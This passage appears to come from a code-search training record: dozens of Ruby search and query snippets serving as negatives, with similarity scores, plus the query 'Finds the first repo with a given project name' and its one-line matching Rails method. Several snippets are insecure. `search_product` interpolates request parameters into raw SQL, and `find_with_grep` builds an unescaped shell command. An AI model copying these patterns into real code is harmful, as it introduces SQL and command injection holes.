"def get_autocomplete_items(parameters)\n HsCode.where(\"hs_codes.code like :search or hs_codes.description like :search\", :search => \"%#{params[:term]}%\").select('description, code').limit(100)\n end",
"def list_name_descriptions # :nologin:\n query = create_query(:NameDescription, :all, :by => :name)\n show_selected_name_descriptions(query)\n end",
"def search_product\n category_selected = params[:category_selected]\n\n # @order_item = current_order.order_items.new\n @products = Product.where(\"lower(description) LIKE lower('%#{params[:product_keyword]}%') OR lower(name) LIKE lower('%#{params[:product_keyword]}%') \").order(:description)\n\n @products = @products.where(category_id: category_selected.to_i) unless category_selected == 'ALL'\n end",
"def search(search_term)\n results = Content.where('status_id=2 and lower(sub_title) = lower(?)', search_term)\n to_ext_json(results)\n end",
"def search(keywords)\n\n # Create key pool\n @tmp = keywords.split(\" \")\n\n # Check if data pool contain any key of key pool\n @tmp.each do |k|\n\n # Create data pool\n @tmp_data = \"#{self.id} #{self.name} #{self.link} #{self.description}\"\n\n # If contained then return true\n if(@tmp_data.include? k)\n return true\n end\n end\n\n # If not contained then return false\n return false\n end",
"def project_search(name)\n search_field.set name\n search_button.click\n end",
"def selects_the_titles_of_all_projects_and_their_pledge_amounts_alphabetized_by_title\n \"SELECT projects.title, SUM(amount) FROM projects, pledges GROUP BY pledges.project_id, projects.title HAVING projects.id = pledges.project_id ORDER BY projects.title;\"\nend",
"def find_ele_by_text_include tag, text\n find_ele_by_attr_include tag, :text, text\n end",
"def query(needle)\n rx = Regexp.new(needle, Regexp::IGNORECASE) # escaping?\n found = @index.find_all do |term, project|\n rx.match(term)\n end\n results = found.map do |term, project|\n # Yast::Logger#log -> Yast/Logger:log\n path = term.gsub(/::/, \"/\").sub(\"#\", \":\")\n # Term:empty? -> Term%3Aempty%3F\n path = Rack::Utils.escape_path(path)\n Result.new(term, \"http://www.rubydoc.info/#{project}/master/#{path}\")\n end\n results.sort_by(&:text)\n end",
"def check_contractor_by_keyword(keyword)\n match = @hash_contractor.find do |pair|\n pair.last.downcase.include? keyword.downcase\n end\n\n (match == nil) ? (puts \"#{@hash_contractor[:name]} dont have a #{keyword}\") : (puts \"The #{keyword} was include in #{match}, #{@hash_contractor[:name]}\")\n end",
"def selects_the_titles_of_all_projects_and_their_pledge_amounts_alphabetized_by_title\n \"SELECT Projects.title, SUM(amount) FROM projects, pledges GROUP BY pledges.project_id, \nProjects.title HAVING Projects.id = pledges.project_id ORDER BY projects.title ASC;\"\nend",
"def selects_the_titles_of_all_projects_and_their_pledge_amounts_alphabetized_by_title\n %q(\n SELECT pr.title, \n SUM(pl.amount) AS pledge_amount\n FROM projects pr\n JOIN pledges pl ON pr.id = pl.project_id\n GROUP BY 1\n ORDER BY 1;\n )\nend",
"def select_regexp_matching_images(re_hn)\n Docker::Image.all.select { |img|\n info_map = img.info\n info_map && info_map['RepoTags'] && info_map['RepoTags'].any? { |n| n.match re_hn }\n }\nend",
"def search_list(name, config)\n file = File.read(config)\n data = JSON.parse(file)\n packages = data.each { |x|\n if x[1][\"name\"] == name\n puts x[1][\"name\"].green + \"\\n-- \" + x[1][\"desc\"].green\n else\n puts x[1][\"name\"] + \"\\n-- \" + x[1][\"desc\"]\n end\n }\nend",
"def find_by_title(str)\n self.each do |todo|\n return todo if todo.title == str\n end\n nil\n # select { |todo| todo.title == str }.first # alt from solution\n end",
"def select_recipe_from_search(recipe_titles)\n puts ''\n selection = @prompt.select(\"Please select a recipe:\".colorize(:color => :blue), (recipe_titles))\n @selected_rec = recipe_instances.find { |recipe| recipe.title == selection }\n puts ''\n puts @selected_rec.content\n end",
"def find(*pattern)\n # Create a glob pattern from the user's input, for instance\n # [\"rails\",\"2.3\"] => \"rails*2.3*\"\n pattern = pattern.join('*')\n pattern << '*' unless pattern =~ /\\*$/\n \n packages = []\n repositories = Qwandry::Configuration.repositories\n repositories.each do |repo|\n packages.concat(repo.scan(pattern))\n end\n \n differentiate packages\n packages\n end",
"def search(gem_pattern, platform_only = T.unsafe(nil)); end",
"def search keyword\n result = Set.new\n matched = Array.new\n @frame_tree_root_node.each{|node|\n if node.content =~ /#{keyword}/i\n matched << node.name\n end\n } \n @frame_tree_root_node.each{|node|\n if node.is_root?\n result << node.name\n elsif matched.include? node.name\n result << node.name #add id\n node.parentage.each{|item|\n result << item.name\n }\n end\n }\n @frame_tree_root_node.print_tree\n result\n end",
"def search_by_keyword(keyword)\n j = search(keyword)\n j['b'].collect { |e| e['Id'] }.map { |e| e.downcase }\n end",
"def search(word)\n \n end",
"def find_with_grep(text, where, double_quote, perl_regex = false)\n value = \"\"\n # Specifically double quote for finding 'test_help'\n command = if double_quote\n \"grep -rH \\\"#{text}\\\" #{where} | grep -v \\.svn\"\n else\n \"grep -rH '#{text}' #{where} | grep -v \\.svn\"\n end\n\n Open3.popen3(command) do |stdin, stdout, stderr|\n value = stdout.read\n end\n value\n end",
"def keywords\n [self.keyword]\n end",
"def projects_by_name(name, opts={})\n @projects_cache[name] ||= begin\n user_query = @allowed_users.collect{|user| \"user:#{user}\"}.join(' ')\n repos = Octokit.search_repos \"#{name} in:name language:ruby #{user_query}\"\n repos = repos.items.select do |repo|\n repo.name == name\n end\n\n repos.collect{|repo| Models::RepoCookbook.new(repo.id, repo.full_name, \"metadata.rb\")}\n end\n end",
"def keyword_find(user)\n pastel = Pastel.new\n puts \" \"\n puts pastel.white.inverse.bold(\"Please enter a keyword to search by.\")\n keyword = gets.chomp \n Joke.find_by_keyword(keyword)\n self.return_to_menu(user) \n end",
"def search(query, state = 'open')\n Core.search(:user => @user, :repo => @repo, :state => state, :search_term => query)\n end",
"def index\n if params[:searchKeyword].present?\n @items = Item.where(\"category_id = ? and name LIKE ?\", params[:categoryId] ,\"%#{params[:searchKeyword]}%\", ).uniq\n else\n @items = Item.where(category_id: params[:categoryId])\n end\n end",
"def full_text_search(cols, terms, opts = {})\n filter(\"CONTAINS (#{literal(cols)}, #{literal(terms)})\")\n end",
"def find_with_tag(phrase, opts={})\n phrase = phrase.downcase unless opts[:case_sensitive] == true\n first(:tag_words => phrase)\n end",
"def search\n @articles = Article.all\n @markdown = Redcarpet::Markdown.new(Redcarpet::Render::HTML)\n if params[:term]\n @articles = Article.search(params[:term])\n end\n end",
"def search(keywords, *fields)\n return all\n end",
"def search(word)\n num_chapters = Dir.glob(\"data/chp*\").count\n results = []\n 1.upto(num_chapters) do |chapter_num|\n matches = {}\n chapter_paragraphs = File.read(\"data/chp#{chapter_num}.txt\").split(\"\\n\\n\")\n chapter_paragraphs.each_with_index do |paragraph, index|\n matches[index] = paragraph if paragraph.include?(word)\n end\n results << {name: @contents[chapter_num - 1], number: chapter_num,\n paragraphs: matches} if matches.any?\n end\n results\nend",
"def scan(name)\n raise NotImplementedError, \"Repositories must return an Array of matching packages.\"\n end",
"def article_match? (query, article_title)\n found = false\n return true if query.empty?\n temp_article = article_title.downcase\n query.each do |kw|\n pattern = Regexp.new /.*#{kw.downcase}.*/\n found = true if temp_article =~ pattern\n end\n found\nend",
"def name_descriptions_by_editor # :nologin: :norobots:\n if user = params[:id] ? find_or_goto_index(User, params[:id].to_s) : @user\n query = create_query(:NameDescription, :by_editor, :user => user)\n show_selected_name_descriptions(query)\n end\n end",
"def _search_text\n [_concatenated_brand,\n _concatenated_description,\n _concatenated_sell_unit,\n classic_mbid\n ].compact.map { |w| w.hanize.split(' ') }.flatten.uniq.reject { |w| w.size < 3 || self.class.stop_words.include?(w) }.join(' ')\nend",
"def recipe_grep name='.'\n @recipe.select{ |r| r.name === name }\n end",
"def find_pivotal_stories(key: nil, search_title: true, search_commits: true)\n keys = key.kind_of?(Array) ? key.join(\" |\") : key\n story_key_regex_string = /(#{keys} )#(\\d{6,})/i\n regexp = Regexp.new(/#{story_key_regex_string}/)\n\n matching_stories = []\n\n if search_title\n github.pr_title.gsub(regexp) do |match|\n matching_stories << extract_id(match).first\n\n puts \"matches #{matching_stories}\"\n end\n end\n\n if search_commits\n puts \"git commits #{git.commits}\"\n git.commits.map do |commit|\n commit.message.gsub(regexp) do |match|\n matching_stories << extract_id(match).first\n end\n end\n end\n\n if matching_stories.empty?\n github.pr_body.gsub(regexp) do |match|\n matching_stories << extract_id(match).first\n end\n end\n\n return matching_stories.uniq\n end",
"def by_title(title)\n Categories::Finder.by_title(title)\n end",
"def selects_the_titles_of_all_projects_and_their_pledge_amounts_alphabetized_by_name\n\"Select title, amount from projects, pledges where projects.id = pledges.id order by title ASC;\"\nend"
] |
[
"0.5827881",
"0.57840055",
"0.5771168",
"0.5670516",
"0.5631988",
"0.56175935",
"0.55345917",
"0.5532598",
"0.5526055",
"0.55028856",
"0.55007595",
"0.54960185",
"0.5421794",
"0.5408232",
"0.54023707",
"0.535989",
"0.5356457",
"0.5286098",
"0.5238361",
"0.5219566",
"0.5214244",
"0.5204296",
"0.5189623",
"0.5189405",
"0.5180362",
"0.51721406",
"0.51709884",
"0.5148612",
"0.51421076",
"0.5121025",
"0.51160556",
"0.51118225",
"0.50948894",
"0.5020341",
"0.5018168",
"0.5006457",
"0.5003814",
"0.5001814",
"0.49769744",
"0.4961354",
"0.49592823",
"0.4957886",
"0.49529374",
"0.49495557",
"0.49448788",
"0.49426824",
"0.49410516",
"0.49403113",
"0.4939241",
"0.49346432",
"0.49175504",
"0.4913242",
"0.49047956",
"0.49004206",
"0.48998913",
"0.48942888",
"0.48919013",
"0.48877537",
"0.48855364",
"0.4872373",
"0.48700798",
"0.48648524",
"0.48533183",
"0.48463854",
"0.4844717",
"0.48439327",
"0.4839217",
"0.4831929",
"0.48266533",
"0.47973463",
"0.47950828",
"0.47899964",
"0.47852725",
"0.47849622",
"0.47767627",
"0.47742182",
"0.47722784",
"0.4770637",
"0.47695217",
"0.47601885",
"0.47592315",
"0.4758443",
"0.4757847",
"0.47559774",
"0.47534135",
"0.47507438",
"0.47504467",
"0.47451267",
"0.47328493",
"0.4729589",
"0.472871",
"0.47283596",
"0.4724808",
"0.4722596",
"0.4720633",
"0.47176322",
"0.47140634",
"0.47123978",
"0.47065955",
"0.47060996"
] |
0.80776453
|
0
|
Finds the first repo with a given project name
|
def find_repo_by_project_name(project_name)
Repo.all.find_by(project_name: project_name)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def find_project\n identifier = params[:project_id]\n scope = Project.active.has_module(:repository)\n project = scope.find_by_identifier(identifier.downcase)\n raise ActiveRecord::RecordNotFound unless project\n return project\n end",
"def repo_named(full_name)\n pry(Git::Multi.repositories.find { |repo| repo.full_name == full_name })\nend",
"def find_project(name)\n login unless authenticated?\n response = RestClient.get(resource_url(\"projects/#{URI.escape(name)}\"), :cookies => @cookies)\n project = JSON.parse response.body\n return project['name'] == name ? project : nil\n rescue RestClient::ResourceNotFound\n return nil\n end",
"def find_project(input)\n if (project = project_in_database(input))\n input[:local_project] = project\n else\n input[:remote_project] = project_from_github(input)\n end\n Success(input)\n rescue StandardError => error\n Failure(Value::Result.new(status: :not_found,\n message: error.to_s))\n end",
"def find_project(input)\n if (project = project_in_database(input))\n input[:local_project] = project\n else\n input[:remote_project] = project_from_github(input)\n end\n Success(input)\n rescue StandardError => e\n Failure(Response::ApiResult.new(status: :not_found, message: e.to_s))\n end",
"def find_project(name)\n get(\"/projects/#{name}\")\n end",
"def find_project(name)\n get(\"/projects/#{name}\")\n end",
"def find_project(workspace, name)\r\n project = nil\r\n if ( name != \"Parent\")\r\n project = workspace.projects.find { |p| p.name == name && p.state == \"Open\" }\r\n if project == nil\r\n print \"Project \", name, \" not found\\n\"\r\n end\r\n end\r\n project\r\nend",
"def project_by_name(project_name)\n projects.find { |project| project['name'].casecmp(project_name) == 0 }\n end",
"def project(name)\n @projects.find { |p| p.name == name }\n end",
"def find_project(project_id)\n # check if we already fetched the project\n @projects.each do |proj|\n return proj if proj.id == project_id\n end\n # project not found, fetch it\n @projects << PivotalTracker::Project.find(project_id)\n @projects.last\n end",
"def get_repo\n repos = get_repos\n unless repos.size == 1\n fail Error.new('unexpected that number of matching repos is not equal to 1')\n end\n\n repos.first\n end",
"def find_project_by_project_name(project_name)\n row = @db.get_first_row('select * from projects where project_name = ?', project_name)\n return {\n id: row[0],\n project_name: row[1],\n target_dollar_amount: row[2]\n }\n end",
"def find_by_path(path, flags={})\n if parseit = path.match(/^.*?(([^\\/]+)\\/)?([^\\/]+?)(\\.git)?$/)\n if proj = Project.find_by_identifier(parseit[3]) || !GitHosting.multi_repos?\n # return default or first repo with blank identifier (or first Git repo--very rare?)\n proj && (proj.repository || proj.repo_blank_ident || proj.gitolite_repos.first)\n elsif repo_ident_unique? || flags[:loose] && parseit[2].nil?\n find_by_identifier(parseit[3])\n elsif parseit[2] && proj = Project.find_by_identifier(parseit[2])\n find_by_identifier_and_project_id(parseit[3],proj.id) ||\n flags[:loose] && find_by_identifier(parseit[3]) || nil\n else\n nil\n end\n else\n nil\n end\n end",
"def find(local_param)\n if repo = list.find { |r| r.param == local_param }\n repo\n else\n refresh\n repo = list.find { |r| r.param == local_param }\n raise Ginatra::RepoNotFound if repo.nil?\n repo\n end\n end",
"def find_project\n identifier = get_project_identifier\n project = Project.find_by_identifier(identifier.downcase)\n raise ActiveRecord::RecordNotFound, \"No project found with identifier '#{identifier}'\" if project.nil?\n return project\n end",
"def locate(name)\n \"repositories/#{name}\"\n end",
"def repository\n # Match on hostname\n settings.repositories.each do |repository|\n next if repository.cname.nil?\n if repository.cname.upcase == request.host.upcase\n return repository\n end\n end\n \n # If no match, use the first repository as the default\n settings.repositories.first\n end",
"def repository\n # Match on hostname\n settings.repositories.each do |repository|\n next if repository.cname.nil?\n if repository.cname.upcase == request.host.upcase\n return repository\n end\n end\n\n # If no match, use the first repository as the default.\n settings.repositories.first\n end",
"def find_project\n identifier = get_identifier\n project = Project.find_by_identifier(identifier.downcase)\n fail(\n ActiveRecord::RecordNotFound,\n \"No project found with identifier '#{identifier}'\"\n ) if project.nil?\n project\n end",
"def project_find(label)\n @project = projects.find { |item| item.text.include? label }\n end",
"def project_from_github(input)\n Github::ProjectMapper\n .new(App.config.GITHUB_TOKEN)\n .find(input[:owner_name], input[:project_name])\n rescue StandardError\n raise GH_NOT_FOUND_MSG\n end",
"def project_from_github(input)\n Github::ProjectMapper\n .new(Api.config.GITHUB_TOKEN)\n .find(input[:owner_name], input[:project_name])\n rescue StandardError\n raise GH_NOT_FOUND_MSG\n end",
"def find_repository\n project = find_project\n json, new_webhook = get_params()\n adapter = BitbucketAdapter.new(json, new_webhook)\n repository = project.repositories.find_by_identifier(adapter.identifier)\n \n if repository\n adapter.update_repository(repository)\n\n elsif Setting.plugin_redmine_bitbucket['auto_create']\n # Clone the repository into Redmine\n repository = adapter.create_repository(project)\n\n else\n raise ActiveRecord::RecordNotFound\n end\n\n return repository\n end",
"def repository(id)\n self.repositories.select {|r| r.id == id}.first\n end",
"def find_project_from_deployment_name(name)\n if project_name = available_deployments[name]\n return project_name\n else \n raise OroGen::DeploymentModelNotFound, \"#{client} has no deployment called #{name}\"\n end\n end",
"def projects_by_name(name, opts={})\n @projects_cache[name] ||= begin\n user_query = @allowed_users.collect{|user| \"user:#{user}\"}.join(' ')\n repos = Octokit.search_repos \"#{name} in:name language:ruby #{user_query}\"\n repos = repos.items.select do |repo|\n repo.name == name\n end\n\n repos.collect{|repo| Models::RepoCookbook.new(repo.id, repo.full_name, \"metadata.rb\")}\n end\n end",
"def project_id project_name\n if @version < \"1.0\"\n project = projects.find { |project| project[:name] == project_name }\n else\n project = project_by_name(project_name).first\n end\n\n project.nil? ? nil : project[:id].to_i\n end",
"def lookup_project\n puts \"Looking for Xcode project...\"\n # list all .xcodeproj files except Pods\n projects_list = Dir.entries(\".\").select { |f| (f.end_with? \".xcodeproj\") && (f != \"Pods.xcodeproj\") }\n projects_list.empty? ? nil : projects_list.first\nend",
"def find_by_id(id)\n hash = Backlogjp.base._command \"getProject\", id\n\n Project.new(hash) unless hash.empty?\n end",
"def repository\n @repository ||= Github::Repository.find user: user, name: name\n end",
"def get_project_by_id_or_name(id_or_name)\n rtn = nil\n if fpermit?('site_admin', nil) || current_user().has_role?('project_reviewer') then\n in_used_projects = \"\"\n else\n in_used_projects = \"(#{Project.in_used_projects()} or #{Project.pending_projects()})\" #include pending projects for pending status.\n end\n\n case id_or_name\n when /^\\d+$/\n rtn = Project.find_by_id(id_or_name, :conditions => in_used_projects)\n when Project::NAME_REGEX\n in_used_projects = \" and #{in_used_projects}\" if(in_used_projects != \"\")\n if rtn = Project.in_used.find(:first, :select => 'id', :conditions => [\"name = ? #{in_used_projects}\", id_or_name])\n yield rtn.id\n return\n end\n end\n\n if not rtn or (rtn.status == Project::STATUS[:PENDING] and in_used_projects != \"\" and (rtn.creator != current_user().id or controller_name != 'projects' or (action_name != 'edit' and action_name != 'update'))) #project not ready. pending and not allow actions.\n flash[:warning] = \"Project '#{id_or_name}' does not exist, or it has be deactivated.\"\n redirect_to root_path\n elsif in_used_projects == \"\" and rtn.status != Project::STATUS[:READY] #admin & reviewer messages\n flash.now[:warning] = \"Project is not READY. Status is #{Project.status_to_s(rtn.status)}.\"\n end\n rtn\n end",
"def get_project_oid(project_name)\n\n # compare project_name against all projects on the server, return oid when found\n @conn.bimsie1_service_interface.getAllProjects( false, true ).each do |project|\n if project[\"name\"] == project_name\n return project[\"oid\"]\n end\n end\n\n # if not found, raise error\n raise \"No project found with name '\" + project_name + \"'.\"\n end",
"def existing_repo?\n @repo = Repo.where(full_name: repo_full_name).first\n @repo.present?\n end",
"def find_first(name)\n object = build(name)\n object.retrieve\n end",
"def find_first(name)\n find_all(name).first\n end",
"def get_repo_name(repo_id)\n repo_name = client.repository(repo_id).name\n rescue Octokit::NotFound\n \"not available\"\n end",
"def project_names\n repositories.map { |s| s.match(/[^\\/]*$/)[0] }\n end",
"def repository(name)\n @repository_model.find_by name: name\n # TODO: raise custom error that can be rescued up stack, return http\n # response with proper error message\n rescue Mongoid::Errors::DocumentNotFound => e\n raise e.message\n end",
"def get_repo(project)\n return 'https://github.com/NuCivic/' + project\n end",
"def get_repo(repo)\n\t\treturn self.fetch(\"repos/#{repo}\")\n\tend",
"def project(response)\n format = if response.args[1].slice(\"/\").nil?\n :repo\n else\n :owner\n end\n\n project_arg = config.projects.detect do |project|\n if format == :owner\n project[:owner] == response.args[1].partition(\"/\").first &&\n project[:repository] == response.args[1].partition(\"/\").last\n else\n project[:repository] == response.args[1]\n end\n end\n\n response.reply ::SnapCi::Project.new(project_arg, config).to_message\n end",
"def find_project(user_path)\n user_path = user_path.to_s\n Pathname.new(Dir.pwd).ascend do |v|\n return nil if v.to_s == user_path || user_path.start_with?(v.to_s)\n config_path = v + CONFIG_DIR\n return v if config_path.directory?\n end\n nil\n end",
"def getProjectByID(id)\n ret = nil \n @Projects.each do |project| \n ret = project if project.ID == id \n end \n\n return ret \n end",
"def find_org_by_name(name, params = {})\n search_orgs(name, params).select { |o| o.name == name }.first\n end",
"def replace_name_with_id (repo_name)\n return Hubstats::Repo.where(full_name: repo_name).first.id.to_i\nend",
"def get(project_name)\n response = get_request(\"/projects/#{project_name}/\")\n TheShiningSource::Project.new(response)\n end",
"def get_repos_by_orga(orga) \n\t\treturn self.fetch(\"repos?owner_name=#{orga}\")\n\tend",
"def git_project_name\n Pkg::Util.in_project_root do\n stdout, _, _ = Pkg::Util::Execution.capture3(\"#{GIT} config --get remote.origin.url\")\n stdout.split('/')[-1].chomp(\".git\").chomp\n end\n end",
"def find_by_id(id)\n projects.find { |project| project.id == id } || false\n end",
"def repository repoid\n @repos[repoid] or raise \"unknown repository #{repoid.inspect}\"\n end",
"def project\n self.projects.first unless projects.empty?\n end",
"def get_project_name\n project_id = params[:project_id]\n name_from_repository = payload.fetch(\"repository\", {}).fetch(\"name\", nil)\n project_id || name_from_repository\n end",
"def project_name\n if arguments[1]\n arguments[1]\n else\n File.basename(repo.root)\n end\n end",
"def find_project\n @project = Project.find_by_identifier(params[:id])\n rescue ActiveRecord::RecordNotFound\n end",
"def organization\n matches = SlashDeploy::GITHUB_REPO_REGEX.match(name)\n matches[1]\n end",
"def project(key)\n @tracker.getProjects.detect { |pro| pro.key == key }\n end",
"def find_by(attribute, value)\n if @@project_cache.has_key?(value)\n project = @@project_cache[value]\n else\n project_id = lookup_id_for(attribute, value)\n project = get_project(project_id)\n end\n return project\n end",
"def get_project (project_name)\n\t\tproject = Project.find_by_name(project_name)\n\t\tif project\n\t\t\tif (project.accessibility == 1 or (user_signed_in? and project.user == current_user))\n\t\t\t\treturn project, nil\n\t\t\telse\n\t\t\t\treturn nil, I18n.t('controllers.application.get_project.private', :project_name => project_name)\n\t\t\tend\n\t\telse\n\t\t\treturn nil, I18n.t('controllers.application.get_project.not_exist', :project_name => project_name)\n\t\tend\n\tend",
"def set_repo\n name = params[:repo].downcase\n @repo = Repo.find_by!(\"LOWER(full_name) = ?\", name)\n end",
"def find_repository\n project = find_project\n repository_id = get_repository_identifier\n repository = project.repositories.find_by_identifier_param(repository_id)\n\n if repository.nil?\n if Setting.plugin_redmine_gitlab_hook['auto_create'] == 'yes'\n repository = create_repository(project)\n else\n raise TypeError, \"Project '#{project.to_s}' ('#{project.identifier}') has no repository or repository not found with identifier '#{repository_id}'\"\n end\n else\n unless repository.is_a?(Repository::Git)\n raise TypeError, \"'#{repository_id}' is not a Git repository\"\n end\n end\n\n return repository\n end",
"def getProject(projectName)\n data = CLIENT.repository(projectName)\n return data\nend",
"def gitolite_repository_name\n if (parent_path = get_full_parent_path).empty?\n project.identifier\n else\n File.join(parent_path, project.identifier)\n end\n end",
"def project(id)\n self.projects(\"all\").detect { |p| p.id == id }\n end",
"def repository(id)\n repositories[id.to_s]\n end",
"def parse_repo\n matches = @source_url.match @github_regexp\n return unless matches\n owner = matches[:owner]\n name = matches[:name]\n \"#{owner}/#{name}\"\n end",
"def resolve(user_id:, project_id:, repo_name:)\n is_collaborator = Collaborator.find_by(user_id: user_id, project_id: project_id)\n if is_collaborator\n project = Project.find(project_id)\n user = User.find(user_id)\n project_repo = ProjectRepo.new(project: project, repo_name: repo_name)\n if project_repo.save\n return_info(project_repo)\n else\n return_info(nil, errors: project_repo.errors.full_messages)\n end\n \n else\n return_info(nil, errors: ['Project does not exist or the user is not a collaborator'])\n end\n end",
"def repo_name\n @repo_name ||= InchCI::ProjectUID.new(uid).repo_name\n end",
"def find(name)\n m = match(name)\n m.count == 1 ? m[0] : nil\n end",
"def repo_name\n return unless @url\n @repo_name ||= Octokit::Repository.from_url(@url).to_s.chomp('.git')\n end",
"def get_repo\n raise \"can't get a repo without the repo's full_name (eg. 'fubar/ofxTrickyTrick')\" unless full_name\n\n begin\n response = GithubApi::repository(full_name: full_name)\n rescue => ex\n Rails.logger.debug \"Failed to get repository: #{ex.message} (#{ex.class})\"\n return\n end\n\n unless response.success?\n Rails.logger.debug response.inspect.to_s.red\n return\n\tend\n\n @repo_json = response.parsed_response\n end",
"def find_project\n @project = current_user.find_project(params[:project_id] || params[:id], preview_token)\n end",
"def find(slug)\n response = @connection.get(\"/repos/#{slug}\")\n Repo.new(@connection, JSON(response.body))\n end",
"def resolve_project \n\n # oid not given; lookup by name\n if @project_oid.nil? || @project_oid.empty?\n\n # no project settings (oid or name) found - error\n if @project.nil? || @project.empty?\n puts \"** Error: No project oid or name found in config file.\"\n puts \"Exiting...\"\n exit 1\n end\n\n # lookup oid for given name\n path = \"/slm/webservice/1.36/project.js\"\n params = {\"query\" => \"(Name%20%3D%20%22#{URI.encode(@project)}%22)\",\n \"fetch\" => \"ObjectID\"}\n response = rally_get(path, params)\n results = JSON.parse(response.body)\n result_count = results[\"QueryResult\"][\"TotalResultCount\"].to_i\n\n if result_count == 0\n puts \"** Error: Unable to find '#{@project}' in Rally. Check config file.\"\n puts \"Exiting...\"\n exit 1\n elsif result_count > 1\n puts \"** Error: Multiple projects named '#{@project}' found in Rally. Set project_oid in config file.\"\n puts \"Exiting...\"\n exit 1\n end\n\n # grab project oid from single result in lookup\n project_oid = results[\"QueryResult\"][\"Results\"][0][\"ObjectID\"]\n\n # verify parsed project oid is all digits\n if project_oid.to_s !~ /\\d+/ then\n puts \"** Internal Error: Unable to parse project oid from name lookup.\"\n puts \"** Debugging: There should be project info (e.g. 'ObjectID') in the results.\"\n puts results[\"QueryResult\"][\"Results\"]\n puts \"Exiting...\"\n exit 1\n end\n\n @project_oid = project_oid\n\n # oid given, lookup name\n else\n path = \"slm/webservice/1.36/project/#{@project_oid}.js\"\n params = {\"fetch\" => \"Name\"}\n response = rally_get(path, params)\n results = JSON.parse(response.body)\n @project = results[\"Project\"][\"Name\"]\n end\n end",
"def gitolite_repository_name\n if (parent_path = get_full_parent_path).empty?\n project.identifier\n else\n File.join(parent_path, project.identifier)\n end\n end",
"def find_or_add_repository(filename, language_code)\n repository_id = find_repository(filename, language_code)\n if repository_id.nil?\n repository_id = add_repository(filename, language_code)\n end\n return repository_id\n end",
"def repo_name(repo)\n name = nil\n case repo\n when 'stable'\n name = 'omnibus-stable-local'\n when 'current'\n name = 'omnibus-current-local'\n when nil # pass through\n else\n raise \"#{repo} not supported. must be current or stable\"\n end\n name\nend",
"def project\n strong_memoize(:project) do\n projects.first\n end\n end",
"def define_project_name_and_id(git_service, user_token)\n puts \"\\nPlease enter the name of the current project :\"\n puts '----------------------------------------------'\n\n begin\n input = STDIN.gets.chomp\n exit! if input == 'quit'\n\n url = \"#{git_service.routes[:search_projects]}#{input}\"\n\n response = get(url: url, headers: { git_service.token_header => user_token })\n\n if response[:status] == '200' && !response[:body].empty?\n puts \"\\nFound #{response[:body].count} match(es):\"\n response[:body].each_with_index do |project, index|\n puts \"#{index + 1} - #{project['name_with_namespace']}\"\n end\n\n puts \"\\nPlease insert the number of the current project :\"\n puts '-------------------------------------------------'\n input = validate_choice(response[:body])\n {\n project_slug: response[:body][input - 1]['path_with_namespace'],\n project_id: response[:body][input - 1]['id']\n }\n\n else\n puts \"\\nOops, we couldn't find a project called #{input}. Try again or quit (quit) :\"\n puts '-------------------------------------------------------------------' + ('-' * input.length) # Don't be upset, i'm a perfectionist <3\n define_project_name_and_id(git_service, user_token)\n end\n rescue Interrupt\n exit!\n end\n end",
"def find_project\n\t\t@project = Project.find(params[:project_id] || params[:id])\n\tend",
"def find_gem(name, version)\n spec = source_index.find_name(name, version).last\n unless spec and (spec.installation_path rescue nil)\n alert_error \"Could not find gem #{name} (#{version})\"\n raise Gem::GemNotFoundException, \"Could not find gem #{name}, (#{version})\"\n end\n\n return spec\n end",
"def get_project_url(book)\n if repo_exists?(book.repo_id)\n project_url = client.repository(book.repo_id).html_url\n else\n project_url = \"https://github.com/\" + book.gh_full_name.to_s # the .to_s covers the weird situation when there may be no gh_full_name.\n end\n rescue Octokit::NotFound\n nil\n end",
"def git?(project_path,git_name)\n result = gits(project_path)\n result.find do |x|\n x.name.to_s == git_name\n end\n end",
"def find_project\n @project = InitializeProject.call id: params[:id]\n end",
"def repository_name_from_id(id)\n unless name = @repository_cache[id]\n data = gh_client.repository(id)\n \n @repository_cache[id] = data[\"full_name\"]\n name = data[\"full_name\"]\n end\n name\n end",
"def find_active_project\n if @textmate.documents.first\n active_path = @textmate.documents.first.path\n @projects.find {|p| active_path =~ /^#{p.path}/}\n end\n end",
"def find_next\n status = `git status -s`.lines.reject(&:nil?).grep(/.. (PCL|tsion|steveklabnik)\\//)\n return nil if status.empty?\n\n first = status.map{|x| x.gsub(/^.. /, '') }.first.strip\n \n if File.directory?(first) \n return [first, [first]]\n else\n name = first.split('/')[-1].split('_', 2)[1]\n end\n\n pcl = find_file('PCL', name)\n tsion = find_file('tsion', name)\n steve = find_file('steveklabnik', name)\n\n [name, [pcl, tsion, steve]]\n end",
"def getProjectName()\n\tcurl = 'git config --local remote.origin.url|sed -n \"s#.*/\\([^.]*\\)\\.git#\\1#p\"'\n\tresult = `#{curl}`\n\treturn result.strip()\nend",
"def project_model_text_from_name(name)\n if text = available_projects[name]\n return text\n else\n raise OroGen::ProjectNotFound, \"#{client} has no project called #{name}, available projects: #{available_projects.keys.sort.join(\", \")}\"\n end\n end",
"def create_repo(org, repo_name)\n if Commitchamp::Repo.find_by(name: repo_name, organization: org) == nil\n repo = @github.get_single_repo(org, repo_name)\n Commitchamp::Repo.find_or_create_by(name: repo['name']) do |r|\n r.organization = repo['organization']['login']\n r.full_name = repo['full_name']\n end\n end\n Commitchamp::Repo.find_by(name: repo_name, organization: org)\n end",
"def find(project_id)\n raw_response = get_request(\"projects/#{project_id}\")\n parse_response(raw_response, :project)\n end",
"def find(project_id)\n raw_response = get_request(\"projects/#{project_id}\")\n parse_response(raw_response, :project)\n end",
"def repository(project)\n Grit::Repo.new(project.folder)\n end",
"def find_project\n @project = @account.projects.find(params[:project_id])\n end",
"def find_repo_dir(here=Pathname.pwd)\n if (here + '.git').exist?\n return here\n else\n find_repo_dir(here.dirname) unless '/' == here.to_s\n end\nend",
"def getProjectId(project_name)\n\tprojects = $client.Project.all\n\tid = \"\"\n\tprojects.each do |project|\n\t\tif project.name == project_name\n\t\t\tid = project.id\n\t\t\twrite_to_file(\"Project id #{id} was successfully found for #{project_name}\", \"info\")\n\t\tend \n\tend\n\treturn id\nend",
"def find_project\r\n @project = Project.find(params[:id])\r\n @html_title = @project.name\r\n rescue ActiveRecord::RecordNotFound\r\n render_404\r\n end",
"def project_for_key(key)\n\n # project_file_path = Rails.root.join('project', key, 'project.json')\n # project_hash = JSON.parse File.read(project_file_path)\n\n project = Project.find_by key: key\n project\n end",
"def package_repository(package_name, desired_version, arch = nil)\n package(package_name, arch, true, false) do |pkg|\n return pkg.repoid if desired_version == pkg.version.to_s\n end\n\n nil\n end",
